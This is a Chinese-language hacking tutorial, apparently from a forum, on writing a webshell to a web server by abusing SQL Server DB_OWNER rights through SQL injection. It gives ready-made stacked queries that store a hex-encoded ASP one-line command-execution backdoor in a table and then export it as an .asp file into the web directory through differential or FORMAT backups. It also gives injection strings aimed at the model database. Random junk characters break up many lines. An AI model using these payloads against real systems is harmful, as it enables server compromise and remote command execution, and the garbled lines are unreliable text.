DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
5 W* w" _$ r/ f/ W8 ~' @" k
; R" @2 j" C4 M$ Q9 d2 O一利用差异备份
! a! L- d3 t# N; e4 P7 c& m4 t6 d加一个参数WITH DIFFERENTIAL

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
& D/ b. H  p, X9 b* h2 v6 s4 }1 vcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
) I/ ]( n% l- ?/ I2 E0 jdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
2 L& K8 E7 P" F1 @
) |/ i8 K# A8 c( D$ n: J( L( N+ _5 \2 B二利用完全FORMAT
8 l9 ^6 u3 _; c0 P加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
; b, K; v; N% X
" x) i3 A7 b1 A, Jdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
6 Q+ K' \' e" }$ v" Q* o! Odeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子

& x* ?& x4 p) \/ e: E2 x0 Rid=1;use model create table cmd(str image);insert into cmd(str) values (”)

8 e4 M; M9 f* w! E. w2 fid=1;backup database model to disk=’你的路径‘ with differential,format;–

- n/ a, [  i! O/ }5 v; z